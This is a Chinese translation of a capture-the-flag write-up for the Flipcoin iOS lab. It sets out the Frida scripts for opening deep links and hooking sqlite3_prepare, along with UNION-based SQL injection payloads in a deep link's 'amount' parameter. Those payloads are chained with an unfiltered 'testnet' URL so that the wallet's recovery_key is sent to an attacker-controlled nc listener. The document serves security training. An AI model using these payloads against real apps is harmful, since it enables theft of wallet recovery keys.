【翻译】Exploiting Unsanitized URL Handling and SQL Injection through Deep Links in iOS App Write-up of Flipcoin Lab by YoKo Kho
通过未经过滤的 URL 处理和 Deep Links 中的 SQL 注入进行数据窃取分析
本报告将以两种不同的方式呈现:
-
对于只需要了解关键要点的读者(如果读者已经熟悉流程,这将节省大量时间)- 请参考TL;DR部分。 -
对于需要基本解释以及对这一发现背后执行流程的读者,这部分将提供关键思维方式的见解并帮助扩展理解。
本报告将涵盖以下内容:• URL schemes 和 deep links 的基本解释• iOS 应用程序目录结构概述• 使用 Ghidra 查找应用程序中的其他参数• 定位目标应用程序中的 SQLite 数据库• 使用 Frida 钩取进程以检测 sqlite3_prepare 函数• 使用 Frida 监控准备阶段处理的数据库查询• 构造 SQL 注入 payload
I. TL;DR
以下是此问题的关键步骤:
-
从应用程序中的二维码获取 deep link。 -
反编译应用程序二进制文件以识别 deep link 中可能存在的其他参数。 -
发现 testnet
参数和开发 URL(参见 5.5.1 和 5.5.2 节)。 -
将 testnet
参数注入 deep link 并将其设置为我们的 Web 服务器 IP。服务器收到来自应用程序的请求,确认testnet
参数未经过滤(6.2 节)。 -
定位存储敏感数据的 SQLite 数据库并检查其内容。发现一个包含 5 列的表(6.2 和 6.3 节)。 -
识别使用 sqlite3_prepare
处理查询(6.4 节)。 -
注入 amount
参数,确认查询反射(7.1 节)。 -
利用基于 UNION 的 SQL 注入提取 recovery_key
(7.3 节)。 -
总结:由于这是需要物理访问的本地 SQL 注入,因此可以与未经过滤的 testnet
参数结合使用,将提取的数据泄露到攻击者控制的主机。 -
使用的工具:Ghidra、Frida、DB Browser for SQLite、Terminal、Sideloadly、SSH、nc。
II. 简介
无论是在 Web 还是移动应用程序的安全测试中,理解应用程序的流程(包括它如何接收和处理输入)对于有效识别潜在漏洞至关重要。这种理解很重要,因为安全风险可能来自多个层面,从最终用户(客户)和幕后运营管理到支持应用程序的技术组件。
例如,从客户角度来看可能看起来安全的应用程序,具有适当的身份验证和访问控制,但由于后端配置错误或过度权限仍然存在风险。例如,连接到 API 端点的内部仪表板可能允许不受限制的数据库查询,使员工能够检索超出运营所需的客户记录,而没有适当的过滤或日志记录。如果不清楚地了解系统内数据如何流动以及每一层如何交互,安全测试就有可能变得效率低下,可能导致忽略漏洞或利用效率低下。
在实践中,这一原则不仅适用于后端配置错误,还适用于由于对应用程序流程理解不完整而产生的其他安全风险。一个很好地说明这一点的案例是 Flipcoin Lab,这是我们在探索 MobileHackingLab 提供的免费 iOS 应用程序安全课程 时遇到的。这个挑战的核心是通过应用程序的 deep link 机制利用 SQL 注入。然而,除了其技术重点外,最突出的是它如何强调了理解应用程序流程的重要性。鉴于其与现实世界挑战的相关性,我们决定在本报告中进一步探讨这个主题。
III. 设置测试环境
和以前一样,越狱设备后的第一步是安装和配置几个工具以便于与设备交互。这些基本工具包括 iOS 上的 OpenSSH、Zip 和 Frida Server,以及桌面上的 Frida、Ghidra 和 Sideloadly。
3.1. 在 iOS 设备上设置工具
3.1.1. 安装 OpenSSH 和 Zip回顾一下,OpenSSH 通过包管理器(如 Cydia 或 Sileo)安装,而 zip
通过在 iOS shell 中运行 apt install zip
安装。
3.1.2. 安装 Frida Server对于 Frida Server,需要添加一个额外的存储库。在包管理器中,添加 https://build.frida.re/ 存储库。添加后,找到适当的 Frida Server 包并继续安装。
安装后,通过 SSH 连接到设备并检查已安装的 Frida 版本来验证一切设置是否正确。
3.2. 在桌面上设置工具
在 iOS 设备上安装必要工具后,下一步是在桌面上设置所需工具。虽然安装过程在各操作系统上大致相似,但值得注意的是,某些工具(如 Sideloadly)目前仅支持 macOS 和 Windows。
3.2.1. 安装和设置 Frida网上有很多安装 Frida 的教程。但是,为了简化过程,我个人使用 pip3。
pip3 install frida-tools
安装正确后,Frida 将位于 /Users/username/Library/Python/x.x/bin
目录中,具体路径可能因用户环境而异。
为了使 Frida 在任何终端会话中都易于访问,我们可以通过在 shell 配置文件(如 Zsh 的.zshrc 或 Bash 的.bash_profile)中添加该目录到 PATH 变量来更新。进行此更改后,Frida 将可以在终端的任何位置访问。
3.2.2. 安装 Sideloadly
回顾一下,这个工具通过绕过 App Store 限制来简化 iOS 设备上的应用程序侧载。它对于测试未签名的应用程序或部署修改版本进行渗透测试特别有用。但是请注意:
-
如果使用免费的 Apple ID,安装的应用程序只能使用 7 天,之后需要重新签名。 -
在某些情况下,如果应用程序已经签名或来自可信来源,可能不需要 Sideloadly。 -
Sideloadly 仅适用于 macOS 和 Windows。
3.2.3. 安装 Ghidra与之前大量使用 Ghidra 进行二进制修补的文章不同,在本例中,Ghidra 主要用于分析应用程序在处理请求时使用的参数。
简而言之,可以从其 GitHub 页面下载 Ghidra。下载后,解压文件并在已安装 JDK 的环境中通过运行 ./ghidrarun
来启动应用程序。
有了必要的环境,我们就可以继续执行过程。本次会话中使用的工具数量有意限制,因为主要重点是通过 deep link 使用 SQLi 来提取数据。
IV. 下载和安装二进制文件
由于我们将使用自己的设备进行测试,因此第一步是下载二进制文件并使用 Sideloadly 安装它。
简而言之,通过拖放安装应用程序后,它不会立即运行。在启动之前,我们需要验证它来自受信任的开发者。这是一个标准步骤,因为该应用程序是使用免费的 Apple ID 签名的。
为此,请转到设置 → 通用 → VPN 和设备管理,然后在此菜单中找到并验证列出的开发者配置文件。
之后,应用程序将被安装。
无法下载应用程序?试试这个方法
如果二进制文件的下载链接无法访问(就像我们在 No-Escape Lab 中遇到的情况),仍然可以通过直接从 MobileHackingLab 提供的虚拟设备中提取二进制文件来获取。
因此,一旦连接到虚拟设备,第一步是通过运行以下命令来定位应用程序:
find /var/containers/Bundle/Application/ -name “*.app”
在确定应用程序目录后,导航到该目录并将其归档到名为 "Payload" 的文件夹中。
提醒一下,iOS 要求将.app 包放在 'Payload' 文件夹中以便正确识别和安装。如果不遵循这种结构,使用 Sideloadly 时可能会出现错误,例如 'guru meditation b4822c@: can't listdir a file'。
完成打包后,可以使用以下命令将 .zip 文件从 iOS 设备传输到桌面:
scp [email protected]:/tmp/Flipcoin.zip .
V. 探索目标应用中的 URL Scheme 和 Deep Link
鉴于本实验的漏洞和目标已经确定 — 通过 deep link 执行 SQL 注入 — 我们可以通过识别正在使用的 deep link 来更有针对性地理解应用程序的流程。
然而,在实际场景中需要注意的是,在分析应用程序时,关键步骤之一是彻底理解应用程序中的每个功能。这将帮助测试人员识别潜在的漏洞,如可能被滥用的功能、设计缺陷或访问控制问题。
测试人员可以通过探索应用程序如何处理异常输入并分析结果输出来完善这种方法。这个过程有助于发现潜在的漏洞,如授权问题、输入验证缺陷或未加密的通信。
此外,评估应用程序的多个层面也很重要,从终端用户层到后端。通过评估每一层如何交互,测试人员可以识别单一视角可能无法发现的潜在漏洞。
5.1. 关于应用程序的 URL Scheme 和 Deep Link 的几点说明
在深入研究之前,首先了解 URL scheme 和 deep link 的概念很有帮助,因为它们在应用程序处理外部请求方面起着关键作用。
5.1.1. 那么,什么是 URL Scheme?URL scheme 是应用程序告诉操作系统如何使用特殊链接打开应用程序的一种方式。它就像提供了一个快捷方式,无需手动搜索就能打开应用程序的特定部分。
例如,Facebook 可能使用 fb://
这样的 URL scheme。因此,当我们点击以 fb://
开头的链接时,操作系统就知道要打开 Facebook 应用。
需要注意的是,某些应用程序在 URL scheme 之后需要额外的端点才能正常运行。这就是 deep link 的概念 — URL scheme 和特定端点的组合,引导应用程序到特定部分或操作。
5.1.1.1. 如果应用程序未安装会怎样?如果操作系统上找不到与 URL scheme 关联的应用程序,系统会显示错误消息,因为它无法识别 URL scheme。这是因为 URL scheme 只有在设备上安装应用程序时才会注册。
5.1.1.2. 我注意到未安装的应用程序仍然可以重定向到 App Store。这是如何实现的?这是通过不同的过程实现的。当我们点击常规网址 (例如:https://myapp.com/profile),,) 而不是直接的 URL scheme(myapp://) 时,链接首先在网络浏览器中打开。然后:
-
网页尝试使用其 URL scheme 打开应用程序。 -
如果应用程序未安装,它会重定向到 App Store。
这个过程快速且无缝,通常使用 Universal Links (iOS) 或 App Links (Android),这些比基本的 URL scheme 更高级。
5.1.2. 那么,什么是 Deep Link?Deep link 是一种特殊类型的 URL,它使用 "注册的 URL scheme" 将用户引导到应用程序中的特定页面或操作。普通链接可能会打开网页,而 deep link 会打开应用程序内的特定界面或部分。简而言之,deep link 依赖 URL scheme 来触发这些操作。
例如,在 Facebook 上,deep link 可能看起来像这样:fb://profile/[user_id]
。这个链接会直接打开 Facebook 应用并进入特定用户的个人资料。
所以,总结一下:
-
Facebook URL scheme: fb://
-
Facebook deep link: fb://profile/[user_id]
通过使用这个 deep link,用户可以直接进入 Facebook 应用中的特定个人资料页面,无需通过应用程序的其他部分导航。
5.2. 识别目标中的 URL Scheme
识别目标使用的 URL scheme 最简单的方法之一是查看应用程序包中的 Info.plist 文件。这些信息通常位于 CFBundleURLTypes 参数下。
作为参考,CFBundleURLTypes 是 iOS 系统中用于注册应用程序 URL scheme 的必需组件。这个参数定义了 iOS 系统如何识别特定的 URL scheme 并将其定向到相应的应用程序。
从技术上讲,在 CFBundleURLTypes 中有两个主要参数:
-
CFBundleURLSchemes → 用于定义将使用的 scheme。例如:Facebook 使用 "fb"。 -
CFBundleURLName → 通常包含与应用程序 bundle 标识符相关的信息。
在 Flipcoin 应用程序的情况下,我们发现应用程序的 bundle 名为 com.mobilehackinglab.flipcoinwallet,使用的 URL scheme 是 flipcoin。
我找到了 Info.plist,但无法读取。为什么?
如果找到的 Info.plist 文件无法以纯文本形式打开,很可能是因为该文件已转换为二进制属性列表。这种格式在当前的 iOS 应用程序开发中常用于存储 plist,因为它在文件大小和解析速度等方面被认为更有效。
如果出现这种情况,可以使用几种方法来读取文件:
-
直接使用 Xcode。在 Xcode 中打开时,应用程序会自动以更易读的格式显示文件。 -
或者,我们也可以使用 plutil(macOS 的内置工具)。可以使用以下命令: plutil -convert xml1 Info.plist -o Info.xml
。
5.3. 识别目标中的 Deep Link
现在的问题是,如何识别这个应用程序中的 deep link? 通常,可以使用各种方法发现 deep link,包括使用 Ghidra 等工具进行二进制分析。然而,在这种情况下,我们发现应用程序内的二维码直接指向格式为 http://flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1
的链接。
当在浏览器中访问此链接时,它会特别提示找不到服务器。进一步检查发现,浏览器正在去除 flipcoin
后面的冒号 (:
)。这可能是因为浏览器首先遇到 http://
前缀,将其识别为标准 web 协议。因此,它错误地将自定义 URL scheme flipcoin://
解释为域名的一部分,然后删除 flipcoin
后的冒号,最终导致 URL 无效。
无法识别 Deep Link
然而,当从扫描二维码结果中删除 http://
前缀时,剩余的链接变得有效并成功重定向到应用程序。这确认了 deep link 存在于 flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1
格式中。
5.4. 在 iOS 中验证和打开 Deep Link
现在已经识别出 deep link 格式,下一个问题是:当触发此链接时,iOS 如何处理? 这个过程的核心在于系统解析和打开 URL scheme 的能力。
假设用户点击了一个 deep link,如:flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1
当这种情况发生时,iOS 首先检查是否有已安装的应用程序注册了处理 flipcoin://
scheme。如果找到匹配的应用程序,系统会启动它并将 URL 作为输入传递。否则,deep link 不会执行任何操作。
可能会出现的一个问题是:应用程序如何在尝试打开 deep link 之前确定是否支持它? 在这种情况下,应用程序通常首先使用以下方式验证 URL scheme:
if UIApplication.shared.canOpenURL(URL(string: "flipcoin://")!) {}
如果支持该 URL scheme,应用程序就可以使用以下方式启动 deep link:
UIApplication.shared.open(URL(string: "flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1")!)
这种行为允许应用程序使用 deep link 进行无缝导航,同时防止尝试打开不支持的 URL。
读者可以参考 Apple 官方文档中关于 canOpenURL(_:) 和 open(_:options:completionHandler:) 的内容,了解 iOS 如何验证和启动 deep link。
5.5. 通过二进制分析研究 Deep Link 处理
在了解了 iOS 如何确定 deep link 是否可以打开以及应用程序如何对外响应之后,还有一个问题:一旦 flipcoin
接收到 deep link,它在内部是如何处理的?
揭示这一点的一种方法是分析应用程序的二进制文件,这可以显示 deep link 是如何处理的,接受哪些参数,以及是否存在任何未记录的行为。这可能包括发现影响 deep link 行为的隐藏参数或识别未公开记录的端点。
5.5.1. 在 Ghidra 中搜索 openURL 引用在分析二进制文件时,我们可以使用 Ghidra —— 就像之前用它来修补二进制文件以绕过应用程序的越狱检测一样。
回顾那篇文章,在这种情况下,我们需要:• 将二进制文件导入 Ghidra。• 启用 Decompiler Parameter ID 以提高可读性。
二进制文件加载后,下一步是什么?一种可能的方法是在 Ghidra 的 Symbol Tree 列中搜索 openURL
的引用,以识别引用它的函数。
请注意,虽然现代 iOS 开发依赖于
canOpenURL(:)
和open(:options:completionHandler:)
,但搜索openURL
对二进制分析仍然有用,因为:• 一些应用程序在遗留或内部实现中仍保留openURL
。• 调试信息和符号名称经常引用这个术语。
简而言之,通过在 Symbol Tree 中搜索 openURL
,我们在 SceneDelegate 中识别出一个函数,该函数似乎通过 openURLContexts
属性处理 deep link。
经过进一步检查,该函数名称被揭示为:_$s15Flipcoin_Wallet13SceneDelegateC5scene_15openURLContextsySo7UISceneC_ShySo16UIOpenURLContextCGtF
在这个函数中,我们发现了一个有趣的发现 —— 除了 amount
参数外,还引用了 testnet
参数,这表明它可能也会影响 deep link 的处理方式。
以下是该参数出现的代码片段:
_objc_msgSend(local_4d8,"URL");_objc_retainAutoreleasedReturnValue();local_6d0 = UVar14.unknown;Foundation::URL::$_unconditionallyBridgeFromObjectiveC(UVar14);(*local_4c8)(UVar16.unknown,local_2d8,local_380);SVar31 = Foundation::URL::get_absoluteString(UVar16);...SVar31 = Swift::String::init("amount",6,1);...SVar31 = Foundation::URL::get_absoluteString(UVar16);...SVar31 = Swift::String::init("testnet",7,(byte)local_6ac & 1);
5.5.2. 发现了一个有趣的 URL值得注意的是,当在同一函数中向下滚动一点时,我们可以看到 URL https://mhl.pages.dev:8545。
基于我有限的理解,我只能怀疑这个 URL 可能与 testnet
参数有关。
从流程来看,似乎如果 testnet
值为空,URL 会默认为 https://mhl.pages.dev:8545。同时,如果提供了一个值,URL 似乎会采用该输入值。
然而,当尝试使用空的 testnet
值执行 deep link 时,应用程序意外崩溃。这让我们对最初的假设是否正确产生了一些疑问。
5.6. 重构 Deep Link
现在,让我们回到主题。在识别出额外的参数 testnet
后,下一个合理的步骤是验证这个参数是否可以在我们最初通过 QR 码发现的 deep link 中使用。
简单回顾一下,我们发现的原始 deep link 是:flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1
现在,我们将尝试向其添加 testnet
参数。由于这个参数可能接受 URL,我们可以尝试使用自己的主机作为这个参数。这可以使用 nc
或其他类似工具进行测试。
简而言之,修改后的 deep link 将是:flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1&testnet=http://192.168.18.177
那么我们如何打开这个 URL 呢? 有多种方法可以实现。我们可以使用 qr-code-generator.com 等服务生成 QR 码并扫描它,或者我们可以使用 Frida 直接执行它。
5.6.1. 使用 Frida 测试 Deep Link 参数现在,假设我们选择使用 Frida 来简化操作 —— 这样我们就不必每次修改 deep link 时都生成 QR 码。但我们需要什么样的脚本呢?
作为参考,有一个著名的 Frida 脚本叫做 ios-deeplink-fuzzing,它可以用来检测 URL schemes,直接使用 Apple 的 API 访问 deep links,甚至可以对参数进行模糊测试以分析应用程序如何处理 deep linking。
然而,由于我们这里的重点只是执行特定的 deep link 而不是执行完整的模糊测试过程,我们可以简化这个方法。基于原始脚本,我们将其修改为以下最小版本:
if (ObjC.available) { var LSApplicationWorkspace = ObjC.classes.LSApplicationWorkspace;if (!LSApplicationWorkspace) { console.log("LSApplicationWorkspace not found!"); } else { globalThis.execURL = function (url) { var workspace = LSApplicationWorkspace.defaultWorkspace(); var success = workspace.openSensitiveURL_withOptions_(ObjC.classes.NSURL.URLWithString_(url), null); console.log("Attempted to execute URL:", url, "| Success:", success);return success; }; console.log("execURL is now available. Use execURL('scheme://path') in Frida."); }} else { console.log("Objective-C Runtime is not available!");}
当这个脚本通过 Frida 注入到运行中的 iOS 应用程序时,它首先检查 Objective-C 运行时是否可用。然后,它访问
LSApplicationWorkspace
来与已安装的应用程序交互,并定义 execURL 函数,该函数使用openSensitiveURL_withOptions_
打开 deep links。最后,它使execURL
在全局范围内可用,因此可以直接从 Frida 运行。
有了这个设置,我们可以在 Frida 中执行 deep link,运行:execURL("flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1&testnet=[http://192.168.18.177");](http://192.168.18.177/)
如果你还不熟悉 Frida,
frida-ps -U
命令用于枚举 iOS 设备上运行的进程(确保你的设备已连接到运行 Frida 的主机)。
为了使事情更简单,我们可以使用 grep(在 macOS 和基于 Linux 的操作系统上可用)应用过滤器来精简结果:
% frida-ps -U | grep Flipcoin
一旦我们获得了目标应用程序的进程 ID,我们可以继续执行:
% frida -U -p (process_ID) -l execURL.js
请注意,
execURL.js
指的是我们之前创建的修改后的脚本。
5.6.2. 观察应用程序的响应并发现允许任意 URL 的未受限制的 Testnet 参数最初,当使用 amount=1
(QR 码中的默认值)发送请求并将 testnet
设置为我们主机的 IP 地址时,我们收到一条消息,表示我们没有足够的 Flipcoins 来完成交易。
为了进一步探索,考虑到应用内余额为 0.3654
,我们将金额修改为 0.1
和 0.2
。这次,应用程序将我们重定向到资金转账界面。
应用程序将我们重定向到交易页面。
更有趣的是,我们注意到应用程序向运行在我们主机上的 nc
监听器发送了请求。
这证实了 testnet
参数接受 URL 的假设。此外,这个参数似乎没有实施白名单,允许提供任意 URL。
最棒的是? 当应用程序通过 testnet
执行指向我们主机的 deep link 时,它实际上发送了一个请求 —— 其中包含了应用程序使用的 Flipcoin 地址。
顺便说一下,我们也可以使用像 Burp Suite 这样的拦截工具来检查请求。
因此,总的来说,当我们访问包含 URL 的 deep link 时,应用程序会间接地将其转换为 POST 请求,发送到
testnet
参数中指定的 URL。
在我们的 Web 服务器/拦截器收到这样的请求后,下一步是检查应用程序使用的数据库结构。这将帮助我们确定传输的值存储在哪里以及如何操作它们。
VI. 分析应用程序中的 SQLite 使用情况
通常,移动应用程序依赖轻量级 DBMS 进行本地存储,其中最常用的选择之一是 SQLite。
它的流行源于其自包含、无服务器和高效的数据库引擎特性,只需最少的设置。由于 iOS 和 Android 都提供了对 SQLite 的内置支持,开发人员可以利用其 SQL 功能而无需额外的依赖。此外,SQLite 的快速读/写操作和低资源消耗使其成为存储用户数据、缓存和应用程序配置的理想选择。
考虑到这一点,我们现在继续确定这个应用程序是否使用 SQLite 以及其数据库存储在哪里。
6.1. 关于 iOS 中应用程序目录的几点说明
在 iOS 中,应用程序将本地数据存储在其_沙盒目录_中。常见的持久数据存储位置,包括 SQLite 数据库,是应用程序容器内的 Library
或 Documents
文件夹。
从技术上讲,每个应用程序都有一个隔离的存储结构,通常如下:
/var/mobile/Containers/Data/Application/<App_UUID>/├── Documents/├── Library/│ ├── Application Support/│ ├── Caches/├── tmp/
这里,<App_UUID>
是分配给每个应用程序的唯一标识符,在应用程序重新安装时会发生变化。
以下是这些目录及其功能的简要概述:
-
Documents/
– 用于存储用户生成的内容。一些应用程序在这里放置数据库,但这个位置更常见于可能通过 iCloud 共享或备份的文件。由于此目录包含在 iCloud 备份中,开发人员通常避免在此存储敏感数据,除非必要。 -
Library/
– 此目录通常存储应用程序相关数据,包括 SQLite 数据库、配置文件和缓存。虽然Application Support
通常包含持久存储(如本地数据库),但Caches
保存可在需要时重新生成的临时数据。注意:与Documents
目录不同,Library
不能被用户直接访问,但仍可用于应用程序内部操作。 -
tmp/
– 系统可随时删除的临时文件。
6.2. 定位 SQLite 数据库
要确定应用程序是否使用 SQLite 以及其数据库存储位置,常见方法是与设备建立 SSH 连接并直接检查其文件系统。$ find /var/mobile/Containers/Data/Application/ -name "*.sqlite"
本质上,我们可以使用
grep
来过滤与应用程序相关的数据库文件。然而,开发人员并不总是用应用程序本身的名称来命名 SQLite 文件。因此建议花时间手动检查目录内容。
作为参考,此应用程序包含 4 个 SQLite 文件:
•
_your_database_name.sqlite_
位于Documents
目录•_Flipcoin_Wallet.sqlite_
位于_/Library/Application Support/_
•_AlternativeService.sqlite_
位于_/Library/Caches/..._
•_httpstorages.sqlite_
位于_/Library/HTTPStorages/..._
其中,存储实际数据的数据库是位于
Documents
目录中的_your_database_name.sqlite_
。
有时,在包含 SQLite 文件的目录中,你可能还会遇到带有 sqlite-wal
和 sqlite-shm
扩展名的文件。如果你想知道这些文件是什么,它们是 SQLite 在预写式日志 (WAL) 模式下使用的支持文件。
-wal
(预写式日志): 在写入主数据库文件之前存储未提交的事务。
-shm
(共享内存): 管理对数据库的并发访问以确保一致性。无论如何,我们可以忽略它们,专注于
.sqlite
文件。
6.3. 探索 SQLite 数据库的内容
现在我们已经确定了数据库文件,我们可以探索其内容以了解其结构和存储的数据。
从技术上讲,这可以使用各种工具完成,如 sqlite3 CLI 或DB Browser for SQLite。无论使用哪种工具,我们都需要打开 your_database_name.sqlite
来检查其结构。
经检查,我们发现 wallet 表由 5 列组成,分别是 id、address、currency、amount 和 recovery_key。虽然我们已经获得了 flag,但目标必须通过 SQL 注入来实现,而不是使用这种方法或反编译二进制文件。
然而,在资金转账界面上,只显示了第 1 行的 amount 和 address。
也就是说,在拦截请求时,我们只能观察到应用程序发送了包含第 1 行的 address 和 可能 包含 id 的请求。
6.4. 使用 Frida 确定 SQLite 函数的使用情况
一旦我们理解了应用程序使用的 SQLite 数据库的结构,我们就可以继续确定查询是如何处理的,特别是在准备阶段(如果适用)执行之前。
虽然核心 SQL 语法(如 SELECT、INSERT、UPDATE 和 DELETE)保持一致,但我认为观察使用了哪个 SQLite prepare 函数可以为我们了解应用程序如何构建其查询提供有价值的见解。
通过使用 Frida 拦截通过 SQLite 准备函数的数据库调用,我们可以观察查询在准备时的情况。由于 iOS 应用程序通常依赖 libsqlite3.dylib
来处理 SQL 查询,钩取这些函数可以帮助我们理解查询在准备阶段是如何处理的。
以下 Frida 脚本演示了这种方法:
const SQL_PREPARE_VARIANTS = ["sqlite3_prepare","sqlite3_prepare_v2","sqlite3_prepare_v3","sqlite3_prepare16","sqlite3_prepare16_v2","sqlite3_prepare16_v3"];SQL_PREPARE_VARIANTS.forEach(interceptSQLiteFunction);function interceptSQLiteFunction(prepareFunction){ let dbFunction = Module.findExportByName("libsqlite3.dylib", prepareFunction);if (!dbFunction) {return; } Interceptor.attach(dbFunction, { onEnter(args) { let query = args[1]; let isUTF16 = prepareFunction.endsWith("16") || prepareFunction.includes("prepare16"); logQueryDetails(prepareFunction, query, isUTF16); }, onLeave(returnValue) {} });}function logQueryDetails(funcName, query, isUTF16){ let timestamp = new Date().toISOString(); let queryText = isUTF16 ? query.readUtf16String() : query.readCString(); console.log("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"); console.log(`⏰ Time: ${timestamp}`); console.log(`📌 Function: ${funcName}`); console.log(`📝 Encoding: ${isUTF16 ? 'UTF-16' : 'UTF-8'}`); console.log(`🔍 Query: ${queryText}`); console.log("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");}
作为参考,
sqlite3_prepare
函数有六种变体,每种在参数和行为上略有不同。这些包括:•
sqlite3_prepare
•
sqlite3_prepare_v2
•
sqlite3_prepare_v3
•
sqlite3_prepare16
•
sqlite3_prepare16_v2
•
sqlite3_prepare16_v3
关于这些函数之间的详细区别,请参考SQLite 官方文档。
在确保此脚本已保存(例如保存为sql-detect.js
)后,下一步是使用 Frida 将其加载到Flipcoin Wallet应用程序进程中。一旦钩子进程运行,我们就可以使用选定的方法打开深度链接。
请注意:
-
如果我们使用二维码,我们只需将链接生成为二维码格式并用设备扫描即可。 -
但是,如果我们通过 execURL.js
打开深度链接,那么我们需要将此脚本与 SQL 函数检测脚本一起加载。
在这种情况下,我们决定使用之前创建的 execURL.js
脚本,所以在钩入应用程序时需要同时加载这两个脚本。
% frida -U -p (process_ID) -l sql-detect.js -l execURL.js
简而言之,根据这次执行,我们可以看到应用程序使用了 sqlite3_prepare
。一个积极的方面是,每当我们执行操作时,我们也可以监控数据库执行的每个查询。
无论发送的金额是大于还是小于可用余额,结果都保持不变。
VII. 对 "amount" 参数执行 SQL 注入
既然我们已经收集了所有必要的信息——如_数据库类型、表名、列数和列名,以及界面显示的数据和发送到外部主机的请求_——我们现在可以进行我们的主要目标,即执行 SQL 注入。
然而,需要注意的是,在实际测试中,漏洞并不总是立即显现。因此,必须彻底测试跨不同用户层的每个功能,以确定其是否容易受到 SQL 注入或其他形式的攻击。
回到主题,测试 SQL 注入最直接的方法是直接注入 SQL 查询并观察结果响应。
由于之前加载的 sql-detect.js
脚本允许我们看到在操作期间执行的每个查询,分析应用程序对我们注入尝试的响应变得更加容易。
7.1. 基本测试
我们需要了解一个基本概念。当应用程序容易受到 SQL 注入攻击,并且查询结果反映在响应中时,修改参数值可以直接影响检索到的数据。
为了测试这一点,我们尝试在 amount 参数中使用 AND id=2;
载荷进行注入。之所以选择这个参数,是因为其值的变化直接影响输出,这表明它与数据库进行交互。因此从技术上讲,如果响应按预期随此载荷而改变,就证实该参数在没有适当净化的情况下被作为数据库查询的一部分处理。
带载荷的初始深度链接:execURL("flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=0.1%20AND%20id=2;&testnet=http://192.168.18.177");
那么,结果如何?从这次注入中,我们观察到应用程序最初显示 id=1
的 amount
和 address
,现在显示 id=2
的 amount
和 address
。这证实了我们注入的条件(AND id=2;
)成功修改了 执行的 SQL 查询。
现在,让我们分解载荷以理解为什么这样有效。
-
AND id=2
部分向现有查询添加了一个条件,强制数据库只返回**id=2**的行。这证实了该参数直接影响查询执行。 -
至于分号( ;
),它在 SQL 中作为语句终止符。然而,大多数现代数据库管理系统一次只执行一个查询,除非明确配置为允许每个请求执行多个语句。在这种情况下,分号并不执行第二个查询,但帮助我们理解应用程序如何处理输入。
简而言之,数据库执行SELECT * FROM wallet WHERE amount > 0.1 AND id = 2;
,而输入的剩余部分(AND currency='flipcoin' LIMIT 1;
)被视为无效,导致没有显示额外的输出。
7.2. 转向基于 UNION 的 SQL 注入
既然我们已经确认 amount 参数可以修改查询的输出,下一步是检查 我们是否可以控制_ 显示什么数据_。
从我们之前的注入(AND id=2;
)证明该参数影响 SQL 查询,但它只改变显示哪一行。要提取有用的数据,我们需要一种方法将我们自己的值插入输出。这就是基于 UNION 的 SQL 注入的用武之地。
UNION 运算符允许组合两个查询的结果,这意味着如果应用程序接受它,我们可以注入额外的数据,甚至检索隐藏的数据库信息。
因此,为了测试这一点,我们使用以下载荷:
%20UNION%20SELECT%20'a1','b2','c3','d4','e5'
带有新载荷的深度链接:execURL("flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=0.1%20UNION%20SELECT%20'a1','b2','c3','d4','e5';&testnet=http://192.168.18.177");
为什么选择这个载荷?
-
基本上,UNION SELECT 语句允许我们将自己的查询与原始查询组合,这可以使应用程序显示我们控制的数据。 -
值 'a1'
、'b2'
、'c3'
、'd4'
、'e5'
是任意占位符,用于检查它们中的任何一个是否出现在输出中。
也许你会想,为什么恰好是 5 个值?
这是因为 UNION SELECT 中的列数必须匹配原始查询中的列数。如果数量不正确,数据库会抛出错误。由于我们之前检查了 SQLite 文件并发现 wallet
表包含5 个列,所以我们在载荷中指定了五个值。
要了解更多关于基于 UNION 的 SQL 注入的信息,读者可以参考PortSwigger Academy 的材料,其中详细介绍了 SQL 注入 UNION 攻击。
那么,我们发现了什么?令人惊讶的是,应用程序接受了我们的载荷并在界面中显示了 b2。这证实了我们的 UNION 查询的第二列反映在输出中,这意味着我们可以使用它来从数据库中提取数据。
以下是屏幕上显示的内容:
以下是我们在拦截的响应中捕获的内容:
7.3. 提取目标数据 — 将各个部分组合在一起
既然我们已经确认 UNION 查询的**第二列**出现在应用程序的响应中,我们现在可以尝试检索实际的数据库记录。我们不使用任意占位符,而是将第二个值替换为一个子查询,该查询旨在检索存储在 recovery_key
中的标志。
为了测试这一点,我们按如下方式修改载荷:
%20UNION%20SELECT%20'a',(SELECT%20recovery_key%20FROM%20wallet),'c','d','e';
深度链接应该是这样的:execURL("flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=0.1%20UNION%20SELECT%20'a',(SELECT%20recovery_key%20FROM%20wallet),'c','d','e';&testnet=http://192.168.18.177");
因此,这个载荷的结果是我们成功地从wallet
表中检索到了recovery_key
。
这不是需要物理访问目标设备的本地 SQL 注入吗?是什么让这成为一个问题?
回顾一下,由于我们之前发现修改 testnet
值允许应用程序向我们控制的主机发送请求,使用这个最终的 SQLi 载荷构造深度链接将能够通过单击实现远程提取 recovery_key
。
% nc -lv 80POST / HTTP/1.1Host: 192.168.18.77Content-Type: application/jsonConnection: keep-aliveAccept: application/jsonUser-Agent: Flipcoin%20Wallet/1 CFNetwork/1410.1 Darwin/22.6.0Content-Length: 153Accept-Language: en-GB,en-US;q=0.9,en;q=0.8Accept-Encoding: gzip, deflate, br'{"jsonrpc":"2.0","method":"web3_sha3","params":["FLAG{fl1p_d4_c01nz}}", "7da50a3fe76ad0ea1de171ec47042ce913235c3792628a779f6acc5b07bebd90"],"id":1}'
VIII. 结论
至此,我们来到了本文的最后部分。总的来说,该应用程序存在本地 SQL 注入漏洞,这意味着需要物理访问设备才能执行攻击。然而,通过将此问题与未经过滤的testnet 参数结合使用,提取的数据可以远程泄露到攻击者控制的主机。
从另一个角度来看,这个实验不仅仅是通过 deep link 进行 SQL 注入的案例研究 — 它还强调了一个重要的教训,即适当的测试需要深入理解应用程序的流程。在这种情况下,提取recovery_key
